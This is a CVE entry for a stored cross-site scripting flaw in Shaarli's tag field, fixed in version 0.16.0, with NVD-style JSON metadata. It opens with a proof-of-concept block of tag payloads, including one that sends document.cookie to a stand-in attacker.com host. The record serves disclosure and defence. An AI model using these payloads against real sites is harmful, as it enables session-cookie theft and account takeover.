CVE-2026-24476

<!-- CVE-2026-24476 PoC: Malicious tag for Shaarli XSS --> <!-- Steps to exploit: --> <!-- 1. Create a new bookmark in Shaarli --> <!-- 2. Add a tag with the following payload: --> "><script>alert(document.cookie)</script> <!-- Or using img onerror: --> "><img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> <!-- Full HTML injection example: --> "><iframe src="javascript:alert('XSS')"> <!-- This payload breaks out of the input tag and injects arbitrary HTML/JS -->

{"cve": {"id": "CVE-2026-24476", "sourceIdentifier": "[email protected]", "published": "2026-01-26T23:16:09.283", "lastModified": "2026-02-17T20:45:33.310", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Shaarli is a personal bookmarking service. Prior to version 0.16.0, crafting a malicious tag which starting with `\"` prematurely ends the `<input>` tag on the start page and allows an attacker to add arbitrary html leading to a possible XSS attack. Version 0.16.0 fixes the issue."}, {"lang": "es", "value": "Shaarli es un servicio personal de marcadores. Antes de la versión 0.16.0, la creación de una etiqueta maliciosa, al comenzar con '\"', terminaba prematuramente la etiqueta `` en la página de inicio y permitía a un atacante añadir HTML arbitrario, lo que llevaba a un posible ataque XSS. La versión 0.16.0 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:H/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:shaarli_project:shaarli:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.16.0", "matchCriteriaId": "648ADAFF-B886-4426-BD9A-C67B4B839AA4"}]}]}], "references": [{"url": "https://github.com/shaarli/Shaarli/commit/b854c789289c4b0dfbb7c1e5793bae7d8f94e063", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/shaarli/Shaarli/security/advisories/GHSA-g3xq-mj52-f8pg", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}